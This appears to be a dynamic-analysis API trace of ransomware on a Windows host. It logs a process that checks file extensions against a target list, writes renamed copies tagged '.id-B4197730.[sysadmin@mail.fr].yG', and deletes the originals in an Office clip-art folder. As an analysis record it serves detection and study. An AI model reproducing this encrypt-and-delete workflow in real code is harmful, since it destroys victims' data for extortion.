	[0156.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0156.902] lstrlenW (lpString=".1cd") returned 4
	[0156.902] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0156.902] lstrlenW (lpString=".jpg") returned 4
	[0156.902] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.903] lstrcmpiW (lpString1=".JPG", lpString2=".yG") returned -1
	[0156.903] lstrlenW (lpString="J0099165.JPG") returned 12
	[0156.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0157.174] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=50490) returned 1
	[0157.174] CloseHandle (hObject=0x52c) returned 1
	[0157.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 0x220
	[0157.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0157.175] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.175] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0157.176] GetLastError () returned 0x0
	[0157.176] ReadFile (in: hFile=0x52c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0xc53a, lpOverlapped=0x0) returned 1
	[0157.181] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xc540, lpOverlapped=0x0) returned 1
	[0157.183] ReadFile (in: hFile=0x52c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.183] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.183] SetEndOfFile (hFile=0x51c) returned 1
	[0157.183] CloseHandle (hObject=0x51c) returned 1
	[0157.183] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.184] SetEndOfFile (hFile=0x52c) returned 1
	[0157.188] CloseHandle (hObject=0x52c) returned 1
	[0157.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0157.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 1
	[0157.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0157.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0157.190] lstrlenW (lpString=".doc") returned 4
	[0157.190] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0157.190] lstrlenW (lpString=".docx") returned 5
	[0157.190] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0157.190] lstrlenW (lpString=".pdf") returned 4
	[0157.190] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0157.190] lstrlenW (lpString=".xls") returned 4
	[0157.190] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0157.190] lstrlenW (lpString=".xlsx") returned 5
	[0157.190] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0157.190] lstrlenW (lpString=".ppt") returned 4
	[0157.190] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0157.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0157.190] lstrlenW (lpString=".zip") returned 4
	[0157.190] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0157.190] lstrlenW (lpString=".rar") returned 4
	[0157.190] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0157.190] lstrlenW (lpString=".bz2") returned 4
	[0157.190] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0157.191] lstrlenW (lpString=".7z") returned 3
	[0157.191] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0157.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0157.191] lstrlenW (lpString=".dbf") returned 4
	[0157.191] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0157.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0157.191] lstrlenW (lpString=".1cd") returned 4
	[0157.191] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0157.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0157.191] lstrlenW (lpString=".jpg") returned 4
	[0157.191] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0157.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0157.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0157.191] lstrlenW (lpString=".doc") returned 4
	[0157.191] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0157.191] lstrlenW (lpString=".docx") returned 5
	[0157.191] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0157.191] lstrlenW (lpString=".pdf") returned 4
	[0157.191] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0157.191] lstrlenW (lpString=".xls") returned 4
	[0157.191] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0157.191] lstrlenW (lpString=".xlsx") returned 5
	[0157.191] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0157.192] lstrlenW (lpString=".ppt") returned 4
	[0157.192] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0157.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0157.192] lstrlenW (lpString=".zip") returned 4
	[0157.192] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0157.192] lstrlenW (lpString=".rar") returned 4
	[0157.192] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0157.192] lstrlenW (lpString=".bz2") returned 4
	[0157.192] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0157.192] lstrlenW (lpString=".7z") returned 3
	[0157.192] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0157.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0157.192] lstrlenW (lpString=".dbf") returned 4
	[0157.192] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0157.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0157.192] lstrlenW (lpString=".1cd") returned 4
	[0157.192] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0157.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0157.192] lstrlenW (lpString=".jpg") returned 4
	[0157.192] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0157.192] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0157.193] lstrlenW (lpString="J0099169.WMF") returned 12
	[0157.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0157.194] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=10192) returned 1
	[0157.194] CloseHandle (hObject=0x52c) returned 1
	[0157.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 0x220
	[0157.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0157.194] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.195] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0157.195] GetLastError () returned 0x0
	[0157.196] ReadFile (in: hFile=0x52c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x27d0, lpOverlapped=0x0) returned 1
	[0157.219] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x27e0, lpOverlapped=0x0) returned 1
	[0157.220] ReadFile (in: hFile=0x52c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.221] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.221] SetEndOfFile (hFile=0x51c) returned 1
	[0157.221] CloseHandle (hObject=0x51c) returned 1
	[0157.221] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.221] SetEndOfFile (hFile=0x52c) returned 1
	[0157.225] CloseHandle (hObject=0x52c) returned 1
	[0157.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0157.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 1
	[0157.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0157.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0157.226] lstrlenW (lpString=".doc") returned 4
	[0157.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.226] lstrlenW (lpString=".docx") returned 5
	[0157.227] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0157.227] lstrlenW (lpString=".pdf") returned 4
	[0157.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.227] lstrlenW (lpString=".xls") returned 4
	[0157.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.227] lstrlenW (lpString=".xlsx") returned 5
	[0157.227] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0157.227] lstrlenW (lpString=".ppt") returned 4
	[0157.227] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0157.227] lstrlenW (lpString=".zip") returned 4
	[0157.227] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.227] lstrlenW (lpString=".rar") returned 4
	[0157.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.227] lstrlenW (lpString=".bz2") returned 4
	[0157.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.227] lstrlenW (lpString=".7z") returned 3
	[0157.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0157.228] lstrlenW (lpString=".dbf") returned 4
	[0157.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0157.228] lstrlenW (lpString=".1cd") returned 4
	[0157.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0157.228] lstrlenW (lpString=".jpg") returned 4
	[0157.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0157.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0157.228] lstrlenW (lpString=".doc") returned 4
	[0157.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.228] lstrlenW (lpString=".docx") returned 5
	[0157.228] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0157.228] lstrlenW (lpString=".pdf") returned 4
	[0157.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.229] lstrlenW (lpString=".xls") returned 4
	[0157.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.229] lstrlenW (lpString=".xlsx") returned 5
	[0157.229] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0157.656] lstrlenW (lpString=".ppt") returned 4
	[0157.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0157.656] lstrlenW (lpString=".zip") returned 4
	[0157.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.656] lstrlenW (lpString=".rar") returned 4
	[0157.656] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.656] lstrlenW (lpString=".bz2") returned 4
	[0157.656] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.656] lstrlenW (lpString=".7z") returned 3
	[0157.656] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0157.656] lstrlenW (lpString=".dbf") returned 4
	[0157.656] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0157.656] lstrlenW (lpString=".1cd") returned 4
	[0157.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0157.657] lstrlenW (lpString=".jpg") returned 4
	[0157.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.657] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0157.657] lstrlenW (lpString="J0099176.WMF") returned 12
	[0157.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0157.986] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=2488) returned 1
	[0157.986] CloseHandle (hObject=0x38c) returned 1
	[0157.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 0x220
	[0158.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0158.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0158.667] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.667] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0158.701] GetLastError () returned 0x0
	[0158.701] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x9b8, lpOverlapped=0x0) returned 1
	[0158.704] WriteFile (in: hFile=0x4d8, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x9c0, lpOverlapped=0x0) returned 1
	[0158.706] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.706] WriteFile (in: hFile=0x4d8, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.707] SetEndOfFile (hFile=0x4d8) returned 1
	[0158.707] CloseHandle (hObject=0x4d8) returned 1
	[0158.707] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.708] SetEndOfFile (hFile=0x388) returned 1
	[0158.713] CloseHandle (hObject=0x388) returned 1
	[0158.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0158.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 1
	[0159.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0159.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0159.151] lstrlenW (lpString=".doc") returned 4
	[0159.151] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0159.151] lstrlenW (lpString=".docx") returned 5
	[0159.151] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0159.152] lstrlenW (lpString=".pdf") returned 4
	[0159.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0159.152] lstrlenW (lpString=".xls") returned 4
	[0159.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0159.152] lstrlenW (lpString=".xlsx") returned 5
	[0159.152] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0159.152] lstrlenW (lpString=".ppt") returned 4
	[0159.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0159.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0159.152] lstrlenW (lpString=".zip") returned 4
	[0159.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0159.152] lstrlenW (lpString=".rar") returned 4
	[0159.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0159.152] lstrlenW (lpString=".bz2") returned 4
	[0159.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0159.152] lstrlenW (lpString=".7z") returned 3
	[0159.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0159.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0159.152] lstrlenW (lpString=".dbf") returned 4
	[0159.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0159.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0159.152] lstrlenW (lpString=".1cd") returned 4
	[0159.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0159.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0159.153] lstrlenW (lpString=".jpg") returned 4
	[0159.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0159.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0159.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0159.153] lstrlenW (lpString=".doc") returned 4
	[0159.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0159.153] lstrlenW (lpString=".docx") returned 5
	[0159.153] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0159.153] lstrlenW (lpString=".pdf") returned 4
	[0159.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0159.153] lstrlenW (lpString=".xls") returned 4
	[0159.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0159.153] lstrlenW (lpString=".xlsx") returned 5
	[0159.153] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0159.153] lstrlenW (lpString=".ppt") returned 4
	[0159.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0159.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0159.153] lstrlenW (lpString=".zip") returned 4
	[0159.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0159.153] lstrlenW (lpString=".rar") returned 4
	[0159.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0159.153] lstrlenW (lpString=".bz2") returned 4
	[0159.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0159.154] lstrlenW (lpString=".7z") returned 3
	[0159.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0159.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0159.154] lstrlenW (lpString=".dbf") returned 4
	[0159.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
